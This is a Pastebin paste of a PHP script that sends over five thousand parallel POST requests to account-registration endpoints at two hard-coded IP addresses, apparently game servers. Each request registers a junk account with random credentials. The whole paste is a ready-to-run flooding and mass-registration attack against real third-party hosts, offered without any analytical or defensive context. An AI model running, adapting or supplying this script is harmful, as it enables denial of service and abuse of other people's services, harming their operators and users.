Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #### Run iis ####
- <?php
- ########### WTNC #############
- #### www.facebook.com/bmc.in.th ####
- ini_set("memory_limit","4048M");
- $data = array(array(),array());
- for ($i = 1; $i <= 1024; $i++)
- {
- $username = rand(1000000, 9000000);
- $password = rand(1000000, 9000000);
- $data[$i]['url'] = 'http://27.254.149.113/warz-skinz/api/api_AccRegister.aspx';
- $data[$i]['post'] = array();
- $data[$i]['post']['username'] = $username."@gmail.com";
- $data[$i]['post']['password'] = $password;
- $data[$i]['post']['serial'] = 0;
- $data[$i]['post']['email'] = 'not@used.anymore';
- }
- for ($i = 1; $i <= 1024; $i++)
- {
- $username = rand(10000000, 90000000);
- $password = rand(10000000, 90000000);
- $data2[$i]['url'] = 'http://43.254.133.112/api/api_AccRegister.aspx';
- $data2[$i]['post'] = array();
- $data2[$i]['post']['username'] = $username."@gmail.com";
- $data2[$i]['post']['password'] = $password;
- $data2[$i]['post']['serial'] = 0;
- $data2[$i]['post']['email'] = 'not@used.anymore';
- }
- for ($i = 1; $i <= 1024; $i++)
- {
- $username = rand(10000000, 90000000);
- $password = rand(10000000, 90000000);
- $data3[$i]['url'] = 'http://43.254.133.112/api/api_AccRegister.aspx';
- $data3[$i]['post'] = array();
- $data3[$i]['post']['username'] = $username."@gmail.com";
- $data3[$i]['post']['password'] = $password;
- $data3[$i]['post']['serial'] = 0;
- $data3[$i]['post']['email'] = 'not@used.anymore';
- }
- for ($i = 1; $i <= 1024; $i++)
- {
- $username = rand(10000000, 90000000);
- $password = rand(10000000, 90000000);
- $data4[$i]['url'] = 'http://43.254.133.112/api/api_AccRegister.aspx';
- $data4[$i]['post'] = array();
- $data4[$i]['post']['username'] = $username."@gmail.com";
- $data4[$i]['post']['password'] = $password;
- $data4[$i]['post']['serial'] = 0;
- $data4[$i]['post']['email'] = 'not@used.anymore';
- }
- for ($i = 1; $i <= 1024; $i++)
- {
- $username = rand(10000000, 90000000);
- $password = rand(10000000, 90000000);
- $data5[$i]['url'] = 'http://43.254.133.112/api/api_AccRegister.aspx';
- $data5[$i]['post'] = array();
- $data5[$i]['post']['username'] = $username."@gmail.com";
- $data5[$i]['post']['password'] = $password;
- $data5[$i]['post']['serial'] = 0;
- $data5[$i]['post']['email'] = 'not@used.anymore';
- }
- $r = multiRequest($data);
- $r2 = multiRequest($data2);
- $r3 = multiRequest($data3);
- $r4 = multiRequest($data4);
- $r5 = multiRequest($data5);
- print_r($r);
- print_r($r2);
- print_r($r3);
- print_r($r4);
- print_r($r5);
- function multiRequest($data, $options = array()) {
- $curly = array();
- $result = array();
- $mh = curl_multi_init();
- foreach ($data as $id => $d) {
- $curly[$id] = curl_init();
- $url = (is_array($d) && !empty($d['url'])) ? $d['url'] : $d;
- curl_setopt($curly[$id], CURLOPT_URL, $url);
- curl_setopt($curly[$id], CURLOPT_HEADER, 0);
- curl_setopt($curly[$id], CURLOPT_RETURNTRANSFER, 1);
- if (is_array($d)) {
- if (!empty($d['post'])) {
- curl_setopt($curly[$id], CURLOPT_POST, 1);
- curl_setopt($curly[$id], CURLOPT_POSTFIELDS, $d['post']);
- }
- }
- if (!empty($options)) {
- curl_setopt_array($curly[$id], $options);
- }
- curl_multi_add_handle($mh, $curly[$id]);
- }
- $running = null;
- do {
- curl_multi_exec($mh, $running);
- } while($running > 0);
- foreach($curly as $id => $c) {
- $result[$id] = curl_multi_getcontent($c);
- curl_multi_remove_handle($mh, $c);
- }
- curl_multi_close($mh);
- return $result;
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement